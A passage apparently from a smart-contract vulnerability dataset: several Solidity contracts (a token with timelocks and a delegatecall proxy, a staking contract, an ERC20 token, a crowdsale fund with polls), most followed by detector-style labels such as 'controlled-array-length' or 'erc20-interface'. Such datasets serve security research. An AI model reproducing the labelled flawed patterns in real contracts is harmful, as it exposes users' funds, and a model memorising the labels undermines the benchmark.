emit Lock(holder, value, releaseTime);
return true;
}
function _unlock(address holder, uint256 idx) internal returns(bool) {
LockInfo storage lockinfo = timelockList[holder][idx];
uint256 releaseAmount = lockinfo._amount;
delete timelockList[holder][idx];
timelockList[holder][idx] = timelockList[holder][timelockList[holder].length.sub(1)];
timelockList[holder].length -=1;
emit Unlock(holder, releaseAmount);
_balances[holder] = _balances[holder].add(releaseAmount);
return true;
}
function _autoUnlock(address holder) internal returns(bool) {
for(uint256 idx =0; idx < timelockList[holder].length ; idx++ ) {
if (timelockList[holder][idx]._releaseTime <= now) {
// If lockupinfo was deleted, loop restart at same position.
if( _unlock(holder, idx) ) {
idx -=1;
}
}
}
return true;
}
/**
* @dev Sets the address of the current implementation
* @param _newImp address of the new implementation
*/
function _setImplementation(address _newImp) internal {
implementation = _newImp;
}
/**
* @dev Fallback function allowing to perform a delegatecall
* to the given implementation. This function will return
* whatever the implementation call returns
*/
function () payable external {
address impl = implementation;
require(impl != address(0));
assembly {
/*
0x40 is the "free memory slot", meaning a pointer to next slot of empty memory. mload(0x40)
loads the data in the free memory slot, so `ptr` is a pointer to the next slot of empty
memory. It's needed because we're going to write the return data of delegatecall to the
free memory slot.
*/
let ptr := mload(0x40)
/*
`calldatacopy` is copy calldatasize bytes from calldata
First argument is the destination to which data is copied(ptr)
Second argument specifies the start position of the copied data.
Since calldata is sort of its own unique location in memory,
0 doesn't refer to 0 in memory or 0 in storage - it just refers to the zeroth byte of calldata.
That's always going to be the zeroth byte of the function selector.
Third argument, calldatasize, specifies how much data will be copied.
calldata is naturally calldatasize bytes long (same thing as msg.data.length)
*/
calldatacopy(ptr, 0, calldatasize)
/*
delegatecall params explained:
gas: the amount of gas to provide for the call. `gas` is an Opcode that gives
us the amount of gas still available to execution
_impl: address of the contract to delegate to
ptr: to pass copied data
calldatasize: loads the size of `bytes memory data`, same as msg.data.length
0, 0: These are for the `out` and `outsize` params. Because the output could be dynamic,
these are set to 0, 0 so the output data will not be written to memory. The output
data will be read using `returndatasize` and `returdatacopy` instead.
result: This will be 0 if the call fails and 1 if it succeeds
*/
let result := delegatecall(gas, impl, ptr, calldatasize, 0, 0)
let size := returndatasize
/*
`returndatacopy` is an Opcode that copies the last return data to a slot. `ptr` is the
slot it will copy to, 0 means copy from the beginning of the return data, and size is
the amount of data to copy.
`returndatasize` is an Opcode that gives us the size of the last return data. In this case, that is the size of the data returned from delegatecall
*/
returndatacopy(ptr, 0, size)
/*
if `result` is 0, revert.
if `result` is 1, return `size` amount of data from `ptr`. This is the data that was
copied to `ptr` from the delegatecall return data
*/
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact
2) controlled-array-length with High impact |
pragma solidity =0.6.6;
/**
* Math operations with safety checks
*/
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Oracle {
function getUniOutput(uint _input, address _token1, address _token2)external view returns (uint);
}
interface ERC20 {
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external;
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external;
}
contract dcStake is Ownable{
using SafeMath for uint;
mapping (address => uint) public dcoinRecords;
mapping (address => uint) public ethRecords;
uint burnRate;
address public weth;
address public usdt;
address public usdg;
ERC20 public dcoin;
Oracle public oracle;
event StakeChange( address indexed from,uint ethValue,uint dcoinValue, bool isBuy);
event WithDraw( address indexed from,uint ethValue, uint returnDcoin, uint burnDcoin);
event GovWithdraw(address indexed to, uint256 value);
event GovWithdrawToken(address indexed to, uint256 value);
constructor(address _oracle, address _usdg, address _usdt,address _weth, address _dcoin)public {
oracle = Oracle(_oracle);
usdg = _usdg;
usdt = _usdt;
weth = _weth;
dcoin = ERC20(_dcoin);
}
function priceEth2DCoin(uint inValue) public view returns (uint){
uint tmp = oracle.getUniOutput(inValue,weth,usdt);
tmp = tmp.mul(1000);
return oracle.getUniOutput(tmp,usdg,address(dcoin));
}
function stakeWithEth() public payable{
require(msg.value > 0, "!eth value");
require(msg.value < 10 ether, "!eth value");
uint needDcoin = priceEth2DCoin(msg.value);
uint allowed = dcoin.allowance(msg.sender,address(this));
uint balanced = dcoin.balanceOf(msg.sender);
require(allowed >= needDcoin, "!allowed");
require(balanced >= needDcoin, "!balanced");
dcoin.transferFrom(msg.sender,address(this), needDcoin);
dcoinRecords[msg.sender] = dcoinRecords[msg.sender].add(needDcoin);
ethRecords[msg.sender]=ethRecords[msg.sender].add(msg.value);
StakeChange(msg.sender,msg.value, needDcoin,true);
}
function withdraw() public {
uint storedEth = ethRecords[msg.sender];
require(storedEth > 0, "!stored");
uint storedDcoin = dcoinRecords[msg.sender];
uint burnDcoin = storedDcoin.mul(burnRate).div(100);
uint returnDcoin = storedDcoin.sub(burnDcoin);
ethRecords[msg.sender] = 0;
dcoinRecords[msg.sender] = 0;
dcoin.transfer( msg.sender, returnDcoin);
dcoin.transfer( address(0), burnDcoin);
msg.sender.transfer(storedEth);
StakeChange(msg.sender,storedEth, storedDcoin,false);
}
function balanceOf(address _addr) public view returns (uint balance) {
return ethRecords[_addr];
}
function setOracle(address _oracle)onlyOwner public {
oracle = Oracle(_oracle);
}
function setBurnRate(uint _burnRate)onlyOwner public {
require(_burnRate < 100, "!range");
burnRate = _burnRate;
}
function govWithdrawEther(uint256 _amount)onlyOwner public {
require(_amount > 0, "!zero input");
msg.sender.transfer(_amount);
emit GovWithdraw(msg.sender, _amount);
}
function govWithdrawToken(uint256 _amount)onlyOwner public {
require(_amount > 0, "!zero input");
dcoin.transfer(msg.sender, _amount);
emit GovWithdrawToken(msg.sender, _amount);
}
} | These are the vulnerabilities found
1) erc20-interface with Medium impact |
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract BearManPig is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "BearManPig";
symbol = "BearMP";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | No vulnerabilities found |
pragma solidity ^0.4.21;
// File: contracts/DateTime.sol
contract DateTime {
/*
* Date and Time utilities for ethereum contracts
*
*/
struct _DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) public pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) public pure returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) public pure returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal pure returns (_DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
// Year
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
// Month
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
// Day
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
// Hour
dt.hour = getHour(timestamp);
// Minute
dt.minute = getMinute(timestamp);
// Second
dt.second = getSecond(timestamp);
// Day of week.
dt.weekday = getWeekday(timestamp);
}
function getYear(uint timestamp) public pure returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
// Year
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) public pure returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) public pure returns (uint8) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) public pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) public pure returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) public pure returns (uint8) {
return uint8(timestamp % 60);
}
function getWeekday(uint timestamp) public pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function toTimestamp(uint16 year, uint8 month, uint8 day) public pure returns (uint timestamp) {
return toTimestamp(year, month, day, 0, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) public pure returns (uint timestamp) {
return toTimestamp(year, month, day, hour, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) public pure returns (uint timestamp) {
return toTimestamp(year, month, day, hour, minute, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) public pure returns (uint timestamp) {
uint16 i;
// Year
for (i = ORIGIN_YEAR; i < year; i++) {
if (isLeapYear(i)) {
timestamp += LEAP_YEAR_IN_SECONDS;
}
else {
timestamp += YEAR_IN_SECONDS;
}
}
// Month
uint8[12] memory monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1];
}
// Day
timestamp += DAY_IN_SECONDS * (day - 1);
// Hour
timestamp += HOUR_IN_SECONDS * (hour);
// Minute
timestamp += MINUTE_IN_SECONDS * (minute);
// Second
timestamp += second;
return timestamp;
}
}
// File: contracts/ISimpleCrowdsale.sol
interface ISimpleCrowdsale {
function getSoftCap() external view returns(uint256);
function isContributorInLists(address contributorAddress) external view returns(bool);
function processReservationFundContribution(
address contributor,
uint256 tokenAmount,
uint256 tokenBonusAmount
) external payable;
}
// File: contracts/fund/ICrowdsaleFund.sol
/**
* @title ICrowdsaleFund
* @dev Fund methods used by crowdsale contract
*/
interface ICrowdsaleFund {
/**
* @dev Function accepts user`s contributed ether and logs contribution
* @param contributor Contributor wallet address.
*/
function processContribution(address contributor) external payable;
/**
* @dev Function is called on the end of successful crowdsale
*/
function onCrowdsaleEnd() external;
/**
* @dev Function is called if crowdsale failed to reach soft cap
*/
function enableCrowdsaleRefund() external;
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
contract SafeMath {
/**
* @dev constructor
*/
function SafeMath() public {
}
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(a >= b);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/ownership/MultiOwnable.sol
/**
* @title MultiOwnable
* @dev The MultiOwnable contract has owners addresses and provides basic authorization control
* functions, this simplifies the implementation of "users permissions".
*/
contract MultiOwnable {
address public manager; // address used to set owners
address[] public owners;
mapping(address => bool) public ownerByAddress;
event SetOwners(address[] owners);
modifier onlyOwner() {
require(ownerByAddress[msg.sender] == true);
_;
}
/**
* @dev MultiOwnable constructor sets the manager
*/
function MultiOwnable() public {
manager = msg.sender;
}
/**
* @dev Function to set owners addresses
*/
function setOwners(address[] _owners) public {
require(msg.sender == manager);
_setOwners(_owners);
}
function _setOwners(address[] _owners) internal {
for(uint256 i = 0; i < owners.length; i++) {
ownerByAddress[owners[i]] = false;
}
for(uint256 j = 0; j < _owners.length; j++) {
ownerByAddress[_owners[j]] = true;
}
owners = _owners;
SetOwners(_owners);
}
function getOwners() public constant returns (address[]) {
return owners;
}
}
// File: contracts/token/IERC20Token.sol
/**
* @title IERC20Token - ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract IERC20Token {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
// File: contracts/token/ERC20Token.sol
/**
* @title ERC20Token - ERC20 base implementation
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Token is IERC20Token, SafeMath {
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(balances[msg.sender] >= _value);
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowed[_owner][_spender];
}
}
// File: contracts/token/ITokenEventListener.sol
/**
* @title ITokenEventListener
* @dev Interface which should be implemented by token listener
*/
interface ITokenEventListener {
/**
* @dev Function is called after token transfer/transferFrom
* @param _from Sender address
* @param _to Receiver address
* @param _value Amount of tokens
*/
function onTokenTransfer(address _from, address _to, uint256 _value) external;
}
// File: contracts/token/ManagedToken.sol
/**
* @title ManagedToken
* @dev ERC20 compatible token with issue and destroy facilities
* @dev All transfers can be monitored by token event listener
*/
contract ManagedToken is ERC20Token, MultiOwnable {
bool public allowTransfers = false;
bool public issuanceFinished = false;
ITokenEventListener public eventListener;
event AllowTransfersChanged(bool _newState);
event Issue(address indexed _to, uint256 _value);
event Destroy(address indexed _from, uint256 _value);
event IssuanceFinished();
modifier transfersAllowed() {
require(allowTransfers);
_;
}
modifier canIssue() {
require(!issuanceFinished);
_;
}
/**
* @dev ManagedToken constructor
* @param _listener Token listener(address can be 0x0)
* @param _owners Owners list
*/
function ManagedToken(address _listener, address[] _owners) public {
if(_listener != address(0)) {
eventListener = ITokenEventListener(_listener);
}
_setOwners(_owners);
}
/**
* @dev Enable/disable token transfers. Can be called only by owners
* @param _allowTransfers True - allow False - disable
*/
function setAllowTransfers(bool _allowTransfers) external onlyOwner {
allowTransfers = _allowTransfers;
AllowTransfersChanged(_allowTransfers);
}
/**
* @dev Set/remove token event listener
* @param _listener Listener address (Contract must implement ITokenEventListener interface)
*/
function setListener(address _listener) public onlyOwner {
if(_listener != address(0)) {
eventListener = ITokenEventListener(_listener);
} else {
delete eventListener;
}
}
function transfer(address _to, uint256 _value) public transfersAllowed returns (bool) {
bool success = super.transfer(_to, _value);
if(hasListener() && success) {
eventListener.onTokenTransfer(msg.sender, _to, _value);
}
return success;
}
function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool) {
bool success = super.transferFrom(_from, _to, _value);
if(hasListener() && success) {
eventListener.onTokenTransfer(_from, _to, _value);
}
return success;
}
function hasListener() internal view returns(bool) {
if(eventListener == address(0)) {
return false;
}
return true;
}
/**
* @dev Issue tokens to specified wallet
* @param _to Wallet address
* @param _value Amount of tokens
*/
function issue(address _to, uint256 _value) external onlyOwner canIssue {
totalSupply = safeAdd(totalSupply, _value);
balances[_to] = safeAdd(balances[_to], _value);
Issue(_to, _value);
Transfer(address(0), _to, _value);
}
/**
* @dev Destroy tokens on specified address (Called by owner or token holder)
* @dev Fund contract address must be in the list of owners to burn token during refund
* @param _from Wallet address
* @param _value Amount of tokens to destroy
*/
function destroy(address _from, uint256 _value) external {
require(ownerByAddress[msg.sender] || msg.sender == _from);
require(balances[_from] >= _value);
totalSupply = safeSub(totalSupply, _value);
balances[_from] = safeSub(balances[_from], _value);
Transfer(_from, address(0), _value);
Destroy(_from, _value);
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From OpenZeppelin StandardToken.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = safeAdd(allowed[msg.sender][_spender], _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From OpenZeppelin StandardToken.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldValue, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Finish token issuance
* @return True if success
*/
function finishIssuance() public onlyOwner returns (bool) {
issuanceFinished = true;
IssuanceFinished();
return true;
}
}
// File: contracts/Fund.sol
contract Fund is ICrowdsaleFund, SafeMath, MultiOwnable {
enum FundState {
Crowdsale,
CrowdsaleRefund,
TeamWithdraw,
Refund
}
FundState public state = FundState.Crowdsale;
ManagedToken public token;
uint256 public constant INITIAL_TAP = 192901234567901; // (wei/sec) == 500 ether/month
address public teamWallet;
uint256 public crowdsaleEndDate;
address public referralTokenWallet;
address public foundationTokenWallet;
address public reserveTokenWallet;
address public bountyTokenWallet;
address public companyTokenWallet;
address public advisorTokenWallet;
uint256 public tap;
uint256 public lastWithdrawTime = 0;
uint256 public firstWithdrawAmount = 0;
address public crowdsaleAddress;
mapping(address => uint256) public contributions;
event RefundContributor(address tokenHolder, uint256 amountWei, uint256 timestamp);
event RefundHolder(address tokenHolder, uint256 amountWei, uint256 tokenAmount, uint256 timestamp);
event Withdraw(uint256 amountWei, uint256 timestamp);
event RefundEnabled(address initiatorAddress);
/**
* @dev Fund constructor
* @param _teamWallet Withdraw functions transfers ether to this address
* @param _referralTokenWallet Referral wallet address
* @param _companyTokenWallet Company wallet address
* @param _reserveTokenWallet Reserve wallet address
* @param _bountyTokenWallet Bounty wallet address
* @param _advisorTokenWallet Advisor wallet address
* @param _owners Contract owners
*/
function Fund(
address _teamWallet,
address _referralTokenWallet,
address _foundationTokenWallet,
address _companyTokenWallet,
address _reserveTokenWallet,
address _bountyTokenWallet,
address _advisorTokenWallet,
address[] _owners
) public
{
teamWallet = _teamWallet;
referralTokenWallet = _referralTokenWallet;
foundationTokenWallet = _foundationTokenWallet;
companyTokenWallet = _companyTokenWallet;
reserveTokenWallet = _reserveTokenWallet;
bountyTokenWallet = _bountyTokenWallet;
advisorTokenWallet = _advisorTokenWallet;
_setOwners(_owners);
}
modifier withdrawEnabled() {
require(canWithdraw());
_;
}
modifier onlyCrowdsale() {
require(msg.sender == crowdsaleAddress);
_;
}
function canWithdraw() public returns(bool);
function setCrowdsaleAddress(address _crowdsaleAddress) public onlyOwner {
require(crowdsaleAddress == address(0));
crowdsaleAddress = _crowdsaleAddress;
}
function setTokenAddress(address _tokenAddress) public onlyOwner {
require(address(token) == address(0));
token = ManagedToken(_tokenAddress);
}
/**
* @dev Process crowdsale contribution
*/
function processContribution(address contributor) external payable onlyCrowdsale {
require(state == FundState.Crowdsale);
uint256 totalContribution = safeAdd(contributions[contributor], msg.value);
contributions[contributor] = totalContribution;
}
/**
* @dev Callback is called after crowdsale finalization if soft cap is reached
*/
function onCrowdsaleEnd() external onlyCrowdsale {
state = FundState.TeamWithdraw;
ISimpleCrowdsale crowdsale = ISimpleCrowdsale(crowdsaleAddress);
firstWithdrawAmount = safeDiv(crowdsale.getSoftCap(), 2);
lastWithdrawTime = now;
tap = INITIAL_TAP;
crowdsaleEndDate = now;
}
/**
* @dev Callback is called after crowdsale finalization if soft cap is not reached
*/
function enableCrowdsaleRefund() external onlyCrowdsale {
require(state == FundState.Crowdsale);
state = FundState.CrowdsaleRefund;
}
/**
* @dev Function is called by contributor to refund payments if crowdsale failed to reach soft cap
*/
function refundCrowdsaleContributor() external {
require(state == FundState.CrowdsaleRefund);
require(contributions[msg.sender] > 0);
uint256 refundAmount = contributions[msg.sender];
contributions[msg.sender] = 0;
token.destroy(msg.sender, token.balanceOf(msg.sender));
msg.sender.transfer(refundAmount);
RefundContributor(msg.sender, refundAmount, now);
}
/**
* @dev Decrease tap amount
* @param _tap New tap value
*/
function decTap(uint256 _tap) external onlyOwner {
require(state == FundState.TeamWithdraw);
require(_tap < tap);
tap = _tap;
}
function getCurrentTapAmount() public constant returns(uint256) {
if(state != FundState.TeamWithdraw) {
return 0;
}
return calcTapAmount();
}
function calcTapAmount() internal view returns(uint256) {
uint256 amount = safeMul(safeSub(now, lastWithdrawTime), tap);
if(address(this).balance < amount) {
amount = address(this).balance;
}
return amount;
}
function firstWithdraw() public onlyOwner withdrawEnabled {
require(firstWithdrawAmount > 0);
uint256 amount = firstWithdrawAmount;
firstWithdrawAmount = 0;
teamWallet.transfer(amount);
Withdraw(amount, now);
}
/**
* @dev Withdraw tap amount
*/
function withdraw() public onlyOwner withdrawEnabled {
require(state == FundState.TeamWithdraw);
uint256 amount = calcTapAmount();
lastWithdrawTime = now;
teamWallet.transfer(amount);
Withdraw(amount, now);
}
// Refund
/**
* @dev Called to start refunding
*/
function enableRefund() internal {
require(state == FundState.TeamWithdraw);
state = FundState.Refund;
token.destroy(companyTokenWallet, token.balanceOf(companyTokenWallet));
token.destroy(reserveTokenWallet, token.balanceOf(reserveTokenWallet));
token.destroy(foundationTokenWallet, token.balanceOf(foundationTokenWallet));
token.destroy(bountyTokenWallet, token.balanceOf(bountyTokenWallet));
token.destroy(referralTokenWallet, token.balanceOf(referralTokenWallet));
token.destroy(advisorTokenWallet, token.balanceOf(advisorTokenWallet));
RefundEnabled(msg.sender);
}
/**
* @dev Function is called by contributor to refund
* Buy user tokens for refundTokenPrice and destroy them
*/
function refundTokenHolder() public {
require(state == FundState.Refund);
uint256 tokenBalance = token.balanceOf(msg.sender);
require(tokenBalance > 0);
uint256 refundAmount = safeDiv(safeMul(tokenBalance, address(this).balance), token.totalSupply());
require(refundAmount > 0);
token.destroy(msg.sender, tokenBalance);
msg.sender.transfer(refundAmount);
RefundHolder(msg.sender, refundAmount, tokenBalance, now);
}
}
// File: contracts/fund/IPollManagedFund.sol
/**
* @title IPollManagedFund
* @dev Fund callbacks used by polling contracts
*/
interface IPollManagedFund {
/**
* @dev TapPoll callback
* @param agree True if new tap value is accepted by majority of contributors
* @param _tap New tap value
*/
function onTapPollFinish(bool agree, uint256 _tap) external;
/**
* @dev RefundPoll callback
* @param agree True if contributors decided to allow refunding
*/
function onRefundPollFinish(bool agree) external;
}
// File: contracts/poll/BasePoll.sol
/**
* @title BasePoll
* @dev Abstract base class for polling contracts
*/
contract BasePoll is SafeMath {
struct Vote {
uint256 time;
uint256 weight;
bool agree;
}
uint256 public constant MAX_TOKENS_WEIGHT_DENOM = 1000;
IERC20Token public token;
address public fundAddress;
uint256 public startTime;
uint256 public endTime;
bool checkTransfersAfterEnd;
uint256 public yesCounter = 0;
uint256 public noCounter = 0;
uint256 public totalVoted = 0;
bool public finalized;
mapping(address => Vote) public votesByAddress;
modifier checkTime() {
require(now >= startTime && now <= endTime);
_;
}
modifier notFinalized() {
require(!finalized);
_;
}
/**
* @dev BasePoll constructor
* @param _tokenAddress ERC20 compatible token contract address
* @param _fundAddress Fund contract address
* @param _startTime Poll start time
* @param _endTime Poll end time
*/
function BasePoll(address _tokenAddress, address _fundAddress, uint256 _startTime, uint256 _endTime, bool _checkTransfersAfterEnd) public {
require(_tokenAddress != address(0));
require(_startTime >= now && _endTime > _startTime);
token = IERC20Token(_tokenAddress);
fundAddress = _fundAddress;
startTime = _startTime;
endTime = _endTime;
finalized = false;
checkTransfersAfterEnd = _checkTransfersAfterEnd;
}
/**
* @dev Process user`s vote
* @param agree True if user endorses the proposal else False
*/
function vote(bool agree) public checkTime {
require(votesByAddress[msg.sender].time == 0);
uint256 voiceWeight = token.balanceOf(msg.sender);
uint256 maxVoiceWeight = safeDiv(token.totalSupply(), MAX_TOKENS_WEIGHT_DENOM);
